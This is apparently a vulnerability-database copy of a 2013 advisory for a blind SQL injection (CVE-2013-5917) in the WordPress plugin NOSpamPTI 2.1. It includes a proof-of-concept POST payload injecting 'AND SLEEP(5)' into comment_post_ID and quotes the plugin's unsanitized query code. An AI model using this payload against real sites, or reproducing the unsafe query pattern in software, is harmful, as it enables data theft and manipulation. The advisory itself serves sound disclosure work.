Lucene search
K

WordPress Plugin NOSpamPTI - Blind SQL Injection

🗓️ 23 Sep 2013 00:00:00Reported by Alexandro SilvaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 140 Views

WordPress Plugin NOSpamPTI Blind SQL Injection flaw, allows attacker to manipulate or disclose dat

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress NOSpamPTI 2.1 Blind SQL Injection Vulnerability
21 Sep 201300:00
zdt
0day.today
Wordpress NOSpamPTI Plugin - Blind SQL Injection Vulnerability
23 Sep 201300:00
zdt
Circl
CVE-2013-5917
24 Dec 202417:03
circl
CVE
CVE-2013-5917
23 Sep 201310:00
cve
Cvelist
CVE-2013-5917
23 Sep 201310:00
cvelist
EUVD
EUVD-2013-5751
7 Oct 202500:30
euvd
exploitpack
WordPress Plugin NOSpamPTI - Blind SQL Injection
23 Sep 201300:00
exploitpack
NVD
CVE-2013-5917
23 Sep 201310:18
nvd
OpenVAS
WordPress NOSpamPTI Plugin SQLi Vulnerability - Active Check
27 Sep 201300:00
openvas
Packet Storm
WordPress NOSpamPTI 2.1 Blind SQL Injection
20 Sep 201300:00
packetstorm
Rows per page
[ NOSpamPTI Wordpress plugin Blind SQL Injection ]

[ Vendor product description ]

NOSpamPTI eliminates the spam in your comment box so strong and free,
developed from the idea of Nando Vieira <a href="http://bit.ly/d38gB8"
rel="nofollow">http://bit.ly/d38gB8</a>, but some themes do not support
changes to the functions.php to this we alter this function and
available as a plugin. Make good use of this plugin and forget all the Spam.

[ Bug Description ]

NOSpamPTI contains a flaw that may allow an attacker to carry out a
Blind SQL injection attack. The issue is due to the wp-comments-post.php
script not properly sanitizing the comment_post_ID in POST data. This
may allow an attacker to inject or manipulate SQL queries in the
back-end database, allowing for the manipulation or disclosure of
arbitrary data.

[ History ]

Advisory sent to vendor on 09/09/2013
Vendor reply 09/20/2013. According the vendor, the plugin was deprecated.

[ Impact ]

HIGH

[ Afected Version ]

2.1

[ CVE Reference]

CVE-2013-5917

[ POC ]

Payload:
POST /wordpress/wp-comments-post.php

author=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1
AND SLEEP(5)&[email protected]&submit=Post Comment&url=1

[ Vulnerable code ]

$post_id = $_POST['comment_post_ID'];

load_plugin_textdomain('nospampti',
WP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');

    if ($hash != $challenge) {
        $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID =
{$comment_id}");
        $count = $wpdb->get_var("select count(*) from $wpdb->comments
where comment_post_id = {$post_id} and comment_approved = '1'");


[ Reference ]

[1] No SpamPTI SVN repository -
http://plugins.svn.wordpress.org/nospampti/trunk/nospampti.php
[2] Owasp - https://owasp.org/index.php/SQL_Injection
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/

--------------------------------------------
iBliss Segurança e Inteligência - Sponsor: Alexandro Silva - Alexos

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2013 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 27.5
EPSS0.01563
140